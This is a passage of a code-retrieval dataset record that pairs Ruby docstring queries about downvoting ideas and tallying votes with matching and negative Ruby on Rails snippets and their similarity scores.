1)\n end", "def upvote\n\t@artwork = Artwork.find(params[:id])\n\t@artwork.upvote_by current_user\n\n\trespond_to do |format|\n format.html { redirect_back(fallback_location: root_path) }\n format.js\n end\nend", "def upvote\n\t\t@post = Post.find(params[:id])\n\t\t@post.upvote_by current_user\n\t\t\n\t\trespond_to do |format|\n\t format.html { redirect_back(fallback_location: root_path) }\n\t format.js\n\t end\n\tend", "def after_create\n election.vote_count = election.vote_count + 1\n election.save\n end", "def vote(vtr, value)\n\n original_points = self.point #Record original points to update user \n\n #Check that voter is not self's voter \n return nil if vtr == self.voter\n\n vt = Vote.where(voter_id:vtr.id, voteable_id:self.id).first\n if vt && vt.vote == value\n unvote(vtr,vt)\n return nil\n elsif vt\n self.point -= self.class.options(vt.vote) #Remove old vote points\n vtr.reputation -= self.class.vtback(vt.vote)\n else\n self.count += 1\n vt = Vote.new(voter_id:vtr.id, voteable_id:self.id)\n votes << vt\n end\n\n case value\n when :up ; self.up += 1\n when :down ; self.down += 1\n end\n\n self.point += self.class.options(value) #Add new vote points\n vtr.reputation += self.class.vtback(value)\n self.save\n vtr.save\n\n #Update votee reputation\n self.voter.reputation += self.point - original_points\n self.voter.save\n\n # Set vote to up or down\n vt.vote= value\n vt.save\n return vt\n end", "def clearupvote\n @post = Post.find(params[:id])\n @post_count = Post.count\n @vote = Vote.where(user_id: session[:id], post_id: @post.id, score: 1)\n if @vote.exists?\n Vote.destroy(@vote.pluck(:id)[0])\n @post.update_attribute(:respect, @post.respect - 1) # Update post respect\n flash[:notice] = 'Vote cleared successfully'\n end\n redirect_to(action: 'index', topic_id: @topic.id)\n end" ]
[ "0.81834203", "0.78706074", "0.7494377", "0.7474335", "0.7428273", "0.73941314", "0.73882836", "0.7362275", "0.73327327", "0.7328384", "0.72632366", "0.7261712", "0.7261292", "0.72561544", "0.72396284", "0.7229417", "0.72290385", "0.7161583", "0.71518946", "0.71381867", "0.7126386", "0.7124499", "0.71197325", "0.71067524", "0.7105747", "0.7073425", "0.7065467", "0.7058811", "0.7052985", "0.7019964", "0.70109516", "0.7003683", "0.6990738", "0.6973913", "0.69595855", "0.69492835", "0.6945663", "0.69384307", "0.69358355", "0.6934085", "0.6919924", "0.69080776", "0.6902602", "0.6896115", "0.6894891", "0.68643695", "0.6843539", "0.6835711", "0.68222505", "0.6803285", "0.6800311", "0.67981786", "0.67949456", "0.6774147", "0.6745009", "0.6729271", "0.67126286", "0.6710207", "0.6650408", "0.66377795", "0.662706", "0.6619943", "0.6595689", "0.65778583", "0.657362", "0.6567186", "0.6564577", "0.6560299", "0.6546571", "0.6536117", "0.652416", "0.6512184", "0.64803326", "0.64616084", "0.6460352", "0.64592123", "0.6435635", "0.63965034", "0.63958585", "0.6394881", "0.63904876", "0.6364489", "0.6363528", "0.635275", "0.63526666", "0.63326406", "0.6311093", "0.6301907", "0.62964696", "0.62898403", "0.6287336", "0.62712073", "0.62662286", "0.6259246", "0.62447983", "0.6219718", "0.6216593", "0.6208231", "0.61945087", "0.6181494" ]
0.7837854
2
Adds a downvote to the idea and then saves it, causing the idea's hotness to update
def downvote_and_update(user) self.disliked_by user self.save end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def upvote\n self.votes += 1\n save\n end", "def upvote_and_update(user)\n self.liked_by user\n self.save #trigger set_hotness!\n end", "def vote_up\n update_votes(1)\n end", "def vote up\n end", "def upvote\n @vote[:direction] = true\n @vote.save!\n redirect_to :back\n end", "def upvote(answer)\n upvoted_answers << answer\n end", "def add_review_votes_to_review\n # increment the count of votes regardless of stance\n if self.review.helpful_count.nil?\n self.review.helpful_count = 1\n else\n self.review.helpful_count += 1\n end\n\n # adjust the score to incorporate the up-vote, if it's an up-vote\n if self.helpful?\n if self.review.helpful_score.nil?\n self.review.helpful_score = 1\n else\n self.review.helpful_score += 1\n end\n end\n \n self.review.save!\n end", "def vote_down\n update_votes(-1)\n end", "def upvote_question\n self.update(votes_count: self.votes_count + 1)\n end", "def calculate_tallied_votes\n self.tallied_votes = upvotes - downvotes\n self.save\n end", "def downvote\n @vote[:direction] = false\n @vote.save!\n redirect_to :back\n end", "def add_vote\n @vote = @comment.votes.find_by_user_id(current_user.id)\n\n if @vote\n @vote.positive = vote_params[:positive]\n else\n @vote = Vote.new(vote_params)\n end\n\n redirect_or_err(@vote, :api_comment_path, 400, @comment.id) do\n trackVal = @vote.positive ? 'Up' : 'Down'\n updated = !@vote.persisted? || @vote.changed?\n @vote.save &&\n (updated ? GATrackWorker.perform_async('Vote', trackVal, @comment.id) : true)\n end\n end", "def down_vote\n session[:return_to] ||= request.referer\n @link = Link.find(params[:id])\n @link.downvotes = @link.downvotes + 1\n @link.save\n redirect_to session.delete(:return_to)\n end", "def add_vote\n self.increment!(:votes, 1)\n end", "def vote\n value = params[:type] == \"up\" ? 1 : -1\n @mypost = Mypost.find(params[:id])\n @mypost.add_or_update_evaluation(:votes, value, current_user)\n redirect_to :back, notice: \"Thank you for voting!\"\nend", "def auto_upvote\n upvote(self.user)\n end", "def up\n if @a_vote.nil?\n AVote.create({\n :key => get_key(@current_user.id, @answer.id),\n :user_id => @current_user.id,\n :answer_id => @answer.id,\n :valency => 1\n })\n @answer.score += 1\n @answer.save\n redirect_to @question\n elsif @a_vote.valency == -1\n @a_vote.valency = 1\n @a_vote.save\n @answer.score += 2\n @answer.save\n redirect_to @question\n else\n @a_vote.destroy\n @answer.score -=1\n @answer.save\n redirect_to @question\n end\n end", "def check_upvote(idea)\n if idea.quality == 'genius'\n elsif idea.quality == 'plausible'\n idea.update(quality: 'genius')\n elsif idea.quality == 'swill'\n idea.update(quality: 'plausible')\n end\n end", "def upVote\n current_brother.upVote(@rushee)\n redirect_to :back\n end", "def downvote\n @solution = Solution.find(params[:id])\n if @solution.profiles_voted.include?(current_user.profile)\n @solution.profiles_voted.delete(current_user.profile)\n @solution.save\n @solution.up_votes -= 1\n @solution.save\n else\n flash[:error] = \"You have already voted on this solution.\"\n end\n redirect_to :back\n end", "def downvote\n @paldemic_file.num_downvotes +=1\n respond_to do |format|\n if(@paldemic_file.save)\n format.html { redirect_to paldemic_files_url, notice: 'Down Vote tallied :)' }\n format.json { head :no_content }\n else\n format.html { render :new }\n format.json { render json: @paldemic_file.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def up_vote\n update_vote(1)\n redirect_to :back #redirect the user to wherever he came from\n end", "def up_vote\n answer = Academy::Answer.find(params[:answer])\n vote = Academy::Vote.where(:user_id => current_user.id, :answer_id => answer.id)\n \n if vote.empty?\n answer.vote_up\n vote = Academy::Vote.new(:vote => 1, :user_id => current_user.id, :answer_id => answer.id)\n vote.save\n elsif vote.first.vote == -1\n answer.vote_up_from_down\n Academy::Vote.update_votes( current_user.id, answer.id, 1)\n end\n redirect_to answer.question\n end", "def vote\n value = params[:type] == \"up\" ? 1 : -1\n @post.add_or_update_evaluation(:votes, value, current_user)\n redirect_to :back\n end", "def downvote\n @post = Post.find_by(id: params[:id])\n # Vote.find_or_create_by(downvote: 1, post: @post, user: @current_user)\n Vote.create(downvote: 1, post: @post, user: @current_user)\n check_score()\n make_request()\n end", "def upvote\n @fud_entry.upvote_from current_user\n redirect_to fud_entries_path\n end", "def vote_up!(user)\n vote_ups.create(:user => user) unless voted_by?(user)\n end", "def up_vote\n session[:return_to] ||= request.referer\n @link = Link.find(params[:id])\n @link.upvotes = @link.upvotes + 1\n @link.save\n redirect_to session.delete(:return_to)\n end", "def downvote\n @question.downvote_from current_user\n #si votas negativo automaticamente el usuario logueaado tiene un punto negativo -1\n @question.user.puntaje-=2\n @question.user.save\n\n current_user.puntaje-=1\n current_user.save\n redirect_to @question, notice: 'Gracias por puntuar'\n end", "def upvote(question)\n vote = Vote.new\n vote.user_id = self.id\n vote.question_id = question.id\n vote.question = true\n vote.save!\n end", "def upvote\n @link = Link.find(params[:id])\n @user = User.find(current_user.id)\n @vote = @link.votes.create(params[:link])\n @vote.user = @user\n @vote.link = @link\n @vote.score = 1\n \n respond_to do |format|\n if @vote.save!\n format.html { redirect_to(links_path, :notice => 'Your vote has been cast.') }\n else\n format.html { redirect_to(links_path, :notice => 'Error recording vote, please try again later.') }\n end\n \n end\n end", "def up_vote\n if current_user\n answer_id = params[:answer_id]\n can_vote = Vote.can_vote(answer_id, current_user.uid)\n if can_vote\n answer = Answer.find_by_id(answer_id)\n answer.vote += 1\n answer.save!\n \n Vote.add_vote(answer_id, current_user.uid)\n end\n end\n render :nothing => true\n end", "def add_vote(vote)\n self.score = self.score + vote.value\n self.votes_count = self.votes_count + 1\n end", "def upvote\n @post = Post.find(params[:id])\n @post_count = Post.count\n @vote = Vote.new(user_id: session[:id], post_id: @post.id, score: 1)\n if @vote.save\n @post.update_attribute(:respect, @post.respect + 1)\n flash[:notice] = 'Post upvoted successfully'\n end\n redirect_to(action: 'index', topic_id: @topic.id)\n end", "def upvote(user_cookie)\n existing_vote = votes.find_by(user_cookie: user_cookie)\n if existing_vote.blank?\n votes.build(weight: 1, user_cookie: user_cookie).save\n else\n existing_vote.update(weight: 1) if existing_vote.weight < 0\n end\n end", "def upvote(user)\n unless self.voters.any? {|id| id.to_s == user.uid.to_s}\n self.voters << user.uid\n self.votes += 1\n self.relevance = calculate_relevance unless new_record?\n self.save\n end\n end", "def upvote\n # you can upvote only once\n if !@recipe.votes.where(user: current_user).exists?\n @recipe.votes.where(user: current_user).first_or_create\n else\n # you can take your upvote back\n current_user.votes.where(user: current_user)\n @recipe.votes.where(user: current_user).first.destroy\n end\n end", "def downvote_post_i(params)\n db = SQLite3::Database.new(\"db/database.db\")\n db.results_as_hash = true\n\n current_upvotes = db.execute(\"SELECT posts.Upvotes FROM posts WHERE postId = ?\", params[\"postId\"])\n\n new_upvotes = current_upvotes[0][\"Upvotes\"].to_i - 1\n\n db.execute(\"UPDATE posts SET Upvotes = ? WHERE postId = ?\", new_upvotes, params[\"postId\"])\n end", "def downvote\n @post = Post.find(params[:id])\n @post_count = Post.count\n @vote = Vote.new(user_id: session[:id], post_id: @post.id, score: -1)\n if @vote.save\n @post.update_attribute(:respect, @post.respect - 1)\n flash[:notice] = 'Post downvoted successfully'\n end\n redirect_to(action: 'index', topic_id: @topic.id)\n end", "def uvote\n question = Question.find(params[:question_id])\n if params[:action].to_i == 1\n question.upvote += 1\n else\n question.downvote += 1\n end\n question.save!\n\n render :json => {:success => 1}\nend", "def vote_up insert_before_id=false\n register_vote :up, insert_before_id\nend", "def downvote_post(params)\n db = SQLite3::Database.new(\"db/database.db\")\n db.results_as_hash = true\n\n current_upvotes = db.execute(\"SELECT posts.Upvotes FROM posts WHERE postId = ?\", params[\"post_id\"])\n\n new_upvotes = current_upvotes[0][\"Upvotes\"].to_i - 1\n\n db.execute(\"UPDATE posts SET Upvotes = ? WHERE postId = ?\", new_upvotes, params[\"post_id\"])\n end", "def downvote(user_cookie)\n existing_vote = votes.find_by(user_cookie: user_cookie)\n if existing_vote.blank?\n votes.build(weight: -1, user_cookie: user_cookie).save\n else\n existing_vote.update(weight: -1) if existing_vote.weight > 0\n end\n end", "def downvote(id)\n @redis.hincrby(\"id:\"+id,\"score\",-1)\n end", "def upvote\n\t\tif vote_once\n\t\t\t@vote = @post.votes.create(user_id: current_user.id)\n\t\telse\n\t\t\t@vote = false\n\t\tend\n\t\tbyebug\n\t\trespond_to do |format|\n\t\t\tformat.js\n\t\tend\n\tend", "def add_initial_upvate\n Vote.create(:item_id => self.id, :user_id => self.user_id, :vote_type => 'up')\n self.update_rank\n end", "def save_vote\n # Need to reinitialize all instance vars here since not using sessions\n @article = Article.find(params[:id])\n @ip = request.remote_ip.to_s\n @bttn_display = lookup_like(@ip, @article.id)\n # If a user hasn't liked a post\n if @bttn_display == 0\n # Updates or creates a new row\n like = Like.find_or_initialize_by(user: @ip, article_id: @article.id, liked: 0)\n like.update(liked:1)\n @bttn_display = 1\n\n # If a user has liked a post\n else\n # Find the post and updates\n Like.find_by(user: @ip, article_id: @article.id).update(liked: 0)\n @bttn_display = 0\n end\n redirect_to article_path(@article)\n end", "def create\n @vote = current_user.votes.where(:link_id => params[:vote][:link_id]).first || current_user.votes.create(params[:vote])\n @vote.update_attributes(:up => params[:vote][:up])\n\n @link = Link.where(:id => @vote.link_id).first\n\n if @vote.up\n @link.voteCount += 1\n @link.save\n else\n @link.voteCount -= 1\n @link.save\n end\n redirect_to :back\n end", "def set_answer_for_vote\n @answer = Answer.find(params[:answer_id])\n @rating = @answer.rating\n @vote_tracker = VoteTracker.find_or_create_by(user: current_user, rating: @rating)\n end", "def downvote\n @link = Link.find(params[:id])\n @user = User.find(current_user.id)\n @vote = @link.votes.build(params[:link])\n @vote.user = @user\n @vote.link = @link\n @vote.score = -1\n \n respond_to do |format|\n if @vote.save!\n format.html { redirect_to(links_path, :notice => 'Your vote has been cast.') }\n else\n format.html { redirect_to(links_path, :notice => 'Error recording vote.') }\n end\n \n end\n end", "def create_vote\n user.answer_votes.create(value: 1, answer: self)\n end", "def repute_vote_up(voter)\n Reputation.handle(self, :vote_up, self.person, :sender => voter, :tier => self.tier)\n end", "def create_vote\n user.answer_votes.create(value: 1, answer: self)\n end", "def update_rating!\n # not using count because lates some votes might be something other than +/- 1\n self.positive_vote_count = votes.positive.sum(:value).abs\n self.negative_vote_count = votes.negative.sum(:value).abs\n self.rating = votes.sum(:value)\n save!\n end", "def upvote\n @voteable = @commentable_collection.find(params[:id])\n current_user.vote_for(@voteable)\n current_user.add_points(1)\n @voteable.update_vote_score\n respond_to do |format|\n format.js\n end\n end", "def vote_up\n begin\n @user = current_user\n @idea = Idea.find(params[:idea])\n @user.vote_for(@idea)\n render :nothing => true, :status => 200\n rescue ActiveRecord::RecordInvalid\n render :nothing => true, :status => 404\n end\n end", "def vote_down\n 100\n end", "def vote \n\t\tsuggestion = Suggestion.find(suggestion_params[:id])\n\t\tuser_vote = UserVote.where({\n\t\t\t\t:user_hash => cookies[:user_hash],\n\t\t\t\t:suggestion_id => suggestion.id}).first\n\t\t\n\t\tif suggestion_params[:abort]\n\n\t\t\tnow = Time.now.to_i\n\t\t\tif now < (suggestion.voting_started_at + 55)\n\t\t\t\tsuggestion.voting_started_at = now - 55\n\t\t\tend\n \n else\n\n\t\t\tif user_vote # the user has already voted on this\n\t\t\t\tlogger.debug 'vote exists'\n\t\t\t\tif suggestion_params[:direction] == 'up' && user_vote.vote < 1\n\t\t\t\t\tuser_vote.vote += 1\n\t\t\t\t\tsuggestion.score += 1\n\t\t\t\t\t#user_reward(suggestion, 2)\n\t\t\t\telsif suggestion_params[:direction] == 'down' && user_vote.vote > -1\n\t\t\t\t\tuser_vote.vote -= 1\n\t\t\t\t\tsuggestion.score -= 1\n\t\t\t\t\t#user_reward(suggestion, -2)\n\t\t\t\tend\n\t\t\t\t\n\t\t\telse # the user votes on this for the first time\n\t\t\t\tlogger.debug 'new vote'\n\t\t\t\tif suggestion_params[:direction] == 'up' \n\t\t\t\t\tsuggestion.score += 1\n\t\t\t\t\t#user_reward(suggestion, 1)\n\t\t\t\t\tv = 1\n\t\t\t\telse \n\t\t\t\t\tsuggestion.score -= 1\n\t\t\t\t\t#user_reward(suggestion, -1)\n\t\t\t\t\tv = -1\n\t\t\t\tend\n\t\t\t\tuser_vote = UserVote.new(\n\t\t\t\t\t:user_hash => cookies[:user_hash],\n\t\t\t\t\t:suggestion_id => suggestion.id,\n\t\t\t\t\t:vote => v\n\t\t\t\t)\n\t\t\tend\n\t\t\t\n\t\t\tuser_vote.save\t\t\t\t\t\t\n\t\t\n\t\tend\t\t\t\n\t\t\n\n\t\tif suggestion_params[:top_boost]\n\t\t\t\tsuggestion.name2 = cookies[:user_name]\n\t\tend\n\t\t\t\t\t\t\t\t\n\t\tsuggestion.save\n\n\t\tPusher['chez_ois_chat'].trigger('update_suggestions_' + suggestion_params[:avatar_id], load_suggestions(suggestion_params[:avatar_id]))\n\t\t#Pusher['chez_ois_chat'].trigger('update_highscores', load_highscores)\n\t\trender json: suggestion\n\tend", "def vote_up\n 15\n end", "def vote\n if user_signed_in?\n @idea = Idea.find(params[:idea_id])\n vote = params[:vote]\n @ideavote = IdeaVote.where(:user_id => current_user.id, :idea_id => params[:idea_id]);\n \n # back out the old vote\n vote_changed = false\n had_vote = false\n \n if @ideavote.count > 0\n had_vote = true\n if @ideavote[0].vote != vote\n vote_changed = true\n end\n \n if @ideavote[0].vote == \"yae\"\n @idea.yae_votes-=1\n else \n @idea.nay_votes-=1\n end\n @ideavote[0].destroy\n end\n \n # apply the new vote\n if !had_vote || vote_changed\n @newideavote = IdeaVote.new()\n @newideavote.user_id = current_user.id\n @newideavote.idea_id = @idea.id\n @newideavote.vote = vote\n @newideavote.save \n if vote == \"yae\"\n @idea.yae_votes+=1\n else \n @idea.nay_votes+=1\n end\n end\n \n @idea.rank = @idea.calculate_rank\n @idea.save\n \n respond_to do |format|\n format.json { \n render :json => @idea.to_json(:methods => [:vote_tally, :category_name, :user_alias]) \n }\n end\n \n end\n end", "def increase_vote_count\n \tcount = voteable.votes_count\n \tcount = count + 1\n \tvoteable.update_attributes(votes_count: count)\n end", "def set_up_vote\n @up_vote = UpVote.find(params[:id])\n end", "def undo_vote\n vote(0)\n end", "def set_upvote\n @upvote = Upvote.find(params[:id])\n end", "def upvote\n @recipe.upvote_from current_user\n redirect_to root_path\n end", "def vote\n find_issue\n authorize\n @issue.vote(params[:vote] == \"up\" ? :up : :down)\n @issue.save\n redirect_to :controller => 'issues', :action => 'show', :id => @issue\n end", "def up\n if @q_vote.nil?\n QVote.create({\n :key => get_key(@current_user.id, @question.id),\n :user_id => @current_user.id,\n :question_id => @question.id,\n :valency => 1\n })\n @question.score += 1\n @question.save\n redirect_to @question\n elsif @q_vote.valency == -1\n @q_vote.valency = 1\n @q_vote.save\n @question.score += 2\n @question.save\n redirect_to @question\n else\n @q_vote.destroy\n @question.score -=1\n @question.save\n redirect_to @question\n end\n end", "def up_vote\n @post = Post.not_published.find(params[:id])\n vote = @post.moderator_votes.new(:up_vote => true)\n vote.user = current_user if logged_in?\n vote.session_id = session[:session_id]\n vote.save\n flash[:notice] = \"Thanks for your help moderating upcoming posts.\"\n redirect_to moderators_path\n end", "def set_answer_upvote\n @answer_upvote = AnswerUpvote.find(params[:id])\n end", "def after_create\n election.vote_count = election.vote_count + 1\n election.save\n end", "def update_reputation\n self.warband.reputation += achievement.reputation\n self.warband.save!\n end", "def upvote_post(params)\n db = SQLite3::Database.new(\"db/database.db\")\n db.results_as_hash = true\n\n current_upvotes = db.execute(\"SELECT posts.Upvotes FROM posts WHERE postId = ?\", params[\"post_id\"])\n\n new_upvotes = current_upvotes[0][\"Upvotes\"].to_i + 1\n\n db.execute(\"UPDATE posts SET Upvotes = ? WHERE postId = ?\", new_upvotes, params[\"post_id\"])\n end", "def upvote\n\t\t\t@review = Review.find(params[:review_id])\n\t\t\t@review.update_attribute(:upvotes, (@review.upvotes + 1))\n\t\tend", "def upvote!(u)\n raise ArgumentError, \"must supply User\" unless u and u.is_a?(User)\n\n return true if self.has_voted?(u.id)\n\n self.upvoters << u.id\n\n GT::Framer.dupe_frame!(self, u.id, u.upvoted_roll_id)\n\n update_score\n\n # send email notification in a non-blocking manor\n ShelbyGT_EM.next_tick { GT::NotificationManager.check_and_send_upvote_notification(u, self) }\n\n self.save\n end", "def upcomment\n comm = Comment.find_by_id(params[:id])\n if !comm.nil?\n comm.vote(current_user, true)\n end\n end", "def upvote\n\t@post = Post.find(params[:id])\n\t@post.votes = @post.votes + 1\n puts @post.votes\n\n\n\n\trespond_to do |format|\n if @post.update(post_par2)\n\t\tformat.html { redirect_to @post, notice: 'Post was successfully upvoted.' }\n\t\tformat.json { render :show, status: :ok, location: @post }\n end\n\tend\n end", "def down_vote\n if current_user\n answer_id = params[:answer_id]\n can_vote = Vote.can_vote(answer_id, current_user.uid)\n if not can_vote\n answer = Answer.find_by_id(answer_id)\n answer.vote -= 1\n answer.save!\n \n Vote.delete_vote(answer_id, current_user.uid)\n end\n end\n end", "def create\n vote = Vote.new\n @idea = Idea.find(params[:id])\n @idea.votes << vote\n @idea.save\n vote.save\n current_user.votes << vote\n current_user.save\n respond_to do |format|\n format.html\n format.js {}\n end\n end", "def downvote\n @submission = Submission.find(params[:id])\n @submission.downvote_by current_recycler\n if @submission.get_downvotes.size >= 3\n @submission.status = 'Denied'\n end\n redirect_to '/votes'\n end", "def downvote\n @comment = Comment.find_by(id: params[:id])\n # Vote.find_or_create_by(downvote: 1, post: @post, user: @current_user)\n Vote.find_or_create_by(downvote: 1, comment: @comment, user: @current_user)\n check_score()\n make_request()\n end", "def set_debate_vote\n @debate_vote = DebateVote.find(params[:id])\n end", "def upvote\n @post = Post.find_by(id: params[:id])\n # raise 'hell'\n\n # the following line to be uncommented when we go live to allow for 1 vote per user\n # Vote.find_or_create_by(post: @post, user: @current_user)\n # Vote.find_or_create_by(upvote: 1, post: @post, user: @current_user)\n Vote.create(upvote: 1, post: @post, user: @current_user)\n check_score()\n make_request()\n end", "def decline_suggestion suggestion \n\t\tsuggestion.status = 4\t\n\t\tsuggestion.save\n\t\t#user_reward(suggestion, -5)\n end", "def set_vote_tally!\n self.vote_tally = self.get_upvotes.size - self.get_downvotes.size\n end", "def upvote_post_i(params)\n db = SQLite3::Database.new(\"db/database.db\")\n db.results_as_hash = true\n\n current_upvotes = db.execute(\"SELECT posts.Upvotes FROM posts WHERE postId = ?\", params[\"postId\"])\n\n new_upvotes = current_upvotes[0][\"Upvotes\"].to_i + 1\n\n db.execute(\"UPDATE posts SET Upvotes = ? WHERE postId = ?\", new_upvotes, params[\"postId\"])\n end", "def downvote\n @article = Article.find(params[:id])\n @article.downvote_from current_user\n redirect_to @article\n end", "def upvote\n @article = Article.find(params[:id])\n @article.upvote_from current_user\n redirect_to @article\n end", "def uppost\n post = Post.find_by_id(params[:id])\n if !post.nil?\n post.vote(current_user, true)\n end\n end", "def upvote\n story_id = BSON::ObjectId.from_string(params[:id])\n Story.upvote(story_id, current_user.id)\n render :nothing => true\n end", "def update_vote!(new_value)\n if @vote\n authorize @vote, :update?\n @vote.update_attribute(:value, new_value)\n else\n @vote = current_user.votes.build(value: new_value, post: @post)\n authorize @vote, :create?\n @vote.save\n end\n end", "def create\n @oldVote = current_user.votes.where(:musing_id => params[:vote][:musing_id]).first\n @musing = Musing.where(:id => params[:vote][:musing_id]).first\n\n\n if @oldVote\n @oldVoteUp = @oldVote.up\n @newVoteUp = params[:vote][:up]\n if (@oldVoteUp == true)\n if (@newVoteUp != false)\n @musing.votecount -=2\n @oldVote.update_attributes(:up => false)\n @oldVote.save\n @musing.save\n end\n else\n if (@newVoteUp != true)\n @musing.votecount +=2\n @oldVote.update_attributes(:up => true)\n @oldVote.save;\n @musing.save\n end\n end\n else\n @vote = current_user.votes.create(params[:vote])\n if @vote.up\n @musing.votecount += 1\n else\n @musing.votecount -= 1\n end\n end\n @musing.save\n redirect_to :back\n end", "def vote_up\n @link = Link.find(params[:id])\n begin\n if current_user.poster?\n User.poster[rand(User.poster.count)].vote_exclusively_for(@link)\n else\n if current_user.voted_for?(@link)\n current_user.clear_votes(@link)\n else\n current_user.vote_exclusively_for(@link)\n end\n end\n @link.update_hotness!\n respond_to do |format|\n format.js\n format.html {redirect_to :back}\n end\n rescue ActiveRecord::RecordInvalid\n render :nothing => true, :status => 404\n end\n end", "def decrease_vote_count\n \tcount = voteable.votes_count\n \tcount = count - 1\n \tvoteable.update_attributes(votes_count: count)\n end", "def upvote\n if current_user.voted_for? @pin\n @pin.unliked_by current_user\n else\n @pin.liked_by current_user\n end\n\n redirect_to :back\n end", "def create_vote\n user.votes.create(value: 1, post: self)\n end", "def withdraw_vote(link_or_comment)\n vote link_or_comment, 0\n end", "def downvote\n @voteable = @commentable_collection.find(params[:id])\n current_user.vote_against(@voteable)\n current_user.add_points(1)\n @voteable.update_vote_score\n respond_to do |format|\n format.js\n end\n end", "def update \n @idea = @agenda.ideas.find(params[:id])\n @like = Like.find_by_sql([\"select * from likes where user_id = ? and agenda_id = ? and idea_id = ?\", current_user.id, @agenda.id, @idea.id])\n if @like.size == 0\n @like_new = Like.new(params[:like])\n @like_new.user_id = current_user.id\n @like_new.agenda_id = @agenda.id\n @like_new.idea_id = @idea.id\n @like_new.save\n if @idea.likes == nil\n @idea.likes = 1\n else\n @idea.likes += 1\n end \n @idea.update_attribute(:likes, @idea.likes)\n redirect_to agenda_path(@agenda)\n else\n flash[:error] = 'You have already liked the idea.'\n redirect_to agenda_path(@agenda)\n end\n end", "def create_vote\n self.user.votes.create(value: 1, post: self)\n end", "def create_vote\n self.user.votes.create(value: 1, post: self)\n end" ]
[ "0.740997", "0.70796835", "0.6971138", "0.67812055", "0.6657157", "0.6638231", "0.6620038", "0.6583766", "0.65543056", "0.6543678", "0.64985836", "0.6495554", "0.6468844", "0.6468204", "0.6464484", "0.64422995", "0.6414893", "0.6409731", "0.6394838", "0.6369945", "0.63282824", "0.6323457", "0.63148046", "0.6314434", "0.6291293", "0.62793595", "0.6279036", "0.6277105", "0.62728274", "0.62521744", "0.6241848", "0.6238799", "0.6220025", "0.62183803", "0.62171257", "0.62097514", "0.62087387", "0.6191683", "0.61895895", "0.6188464", "0.6179223", "0.6158241", "0.61562324", "0.61464953", "0.6137613", "0.61297894", "0.6111567", "0.61068994", "0.6088723", "0.6084331", "0.60657805", "0.60643876", "0.60575265", "0.60438514", "0.60405743", "0.6030724", "0.6018642", "0.6018627", "0.6008244", "0.60023534", "0.59923834", "0.59917533", "0.5977468", "0.5968832", "0.5966417", "0.5957655", "0.5948745", "0.5947351", "0.59422886", "0.59417313", "0.59300184", "0.5927242", "0.5907444", "0.5907022", "0.59050643", "0.5892851", "0.58792114", "0.58780915", "0.58659667", "0.5862977", "0.5861517", "0.58539563", "0.58530414", "0.58386964", "0.5838662", "0.5838163", "0.5831633", "0.58171046", "0.58139116", "0.5807663", "0.5803156", "0.57830864", "0.57649046", "0.5761538", "0.5759173", "0.5749327", "0.5748649", "0.5748444", "0.57446444", "0.57446444" ]
0.71247953
1
Returns the tally of votes for the idea (upvotes downvotes)
def get_vote_tally return self.get_upvotes.size - self.get_downvotes.size end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def tally\n up_votes - down_votes\n end", "def votes_count\n upvotes + downvotes\n end", "def votes\n up_votes - down_votes\n end", "def total_votes\n up_votes + down_votes\n end", "def set_vote_tally!\n self.vote_tally = self.get_upvotes.size - self.get_downvotes.size\n end", "def tally_votes\n tallies = {}\n if vote_tallies.present?\n vote_tallies.each do |vote_tally|\n tallies[vote_tally.candidacy] = vote_tally.vote_count\n end\n else\n votes.each do |vote|\n candidacy = vote.candidacy\n tallies[candidacy] ||= 0\n tallies[candidacy] += 1\n end\n end\n\n tallies\n end", "def total_votes\n self.get_upvotes.size - self.get_downvotes.size\n end", "def total_votes\n self.up - self.down\n end", "def votes\n scenario_answers.count\n end", "def votes_count\n votes.size\n end", "def total_votes\n num_of_votes = self.votes.count\n return num_of_votes\n end", "def upvote_count\n self.up_retweet_count\n end", "def score\n \tself.get_upvotes.size - self.get_downvotes.size\n end", "def score\n \tself.get_upvotes.size - self.get_downvotes.size\n\tend", "def upvote_count\n self.get_upvotes.size\n end", "def vote_count\n self.votes.count\n end", "def vote_up\n 15\n end", "def score\n self.up_votes - self.down_votes\n end", "def vote_count\n votes.sum('direction')\n end", "def rating\n (get_upvotes.size + 2)/(get_downvotes.size + 2)\n end", "def get_vote_count\n\t\treturn calculate_vote_count\n\tend", "def downvotes_count\n topic_votes.where(value: -1).sum(:value) * -1\n end", "def number_of_votes\n self.votes.size\n end", "def upvotes_count\n topic_votes.where(value: 1).sum(:value)\n end", "def numVotes(actionIdeaID)\n \treturn ActionIdeaVote.where(actionIdeaID = self.action_idea_id).count()\n end", "def downvotes\n notes.select(&:downvote?).size\n end", "def total_votes\n\t\tself.votes.where(vote: true).size - self.votes.where(vote: false).size\n\tend", "def rate\n votes = answers.inject(0) do |sum, a| \n sum + a.votes.count \n end\n \n # Return a count of votes and answers\n answers.count + votes\n end", "def score\n\t\tupvotes.count\n\tend", "def votes_cast_count\n total_votes\n end", "def vote_count\n count = Vote.find_all_by_question_id(self.id)\n if count\n return count.count\n else\n return 0\n end\n end", "def calculate_tallied_votes\n self.tallied_votes = upvotes - downvotes\n self.save\n end", "def up_votes\n votes.where(value: 1).count\n end", "def up_votes\n votes.where(value: 1).count\n end", "def up_votes\n votes.where(value: 1).count\n end", "def up_votes\n votes.where(value: 1).count\n end", "def total_up_votes\r\n self.song_up_votes.size\r\n end", "def upvotes\n votes.sum(:upvote)\n end", "def total_upvotes\n \tself.shout_votes.where(upvote: true).length - self.shout_votes.where(upvote: false).length\n end", "def count_votes\n votes = 0\n QuestionVote.where(question_id: self.id).each do |question|\n votes += question.vote\n end\n votes\n end", "def required_votes\n possible_votes / 2 + 1\n end", "def votes_in_scenarios(scenarios)\n scenario_answers.for_scenarios(scenarios).count\n end", "def total_votes\n \tself.shout_votes.count\n end", "def user_reputation\n tally = []\n answers.each do |answer|\n tally.push(answer.answer_votes_total)\n end\n questions.each do |question|\n tally.push(question.question_votes_total)\n end\n tally = tally.inject(:+)\n return tally\n end", "def up_votes # We'll want a way to see only \"up\" or \"down\" votes\n self.votes.where(value: 1).count\n end", "def total_votes\n answers.sum(&:votes_count)\n end", "def total_up_votes\n self.reload\n self.votes.are(:up).count\n end", "def total_up_votes\n self.reload\n self.votes.are(:up).count\n end", "def upvotes_index\n self.get_upvotes.count\n end", "def vote_count\n options.values.reduce(:+)\n end", "def total_down_votes\n self.reload\n self.votes.are(:down).count\n end", "def 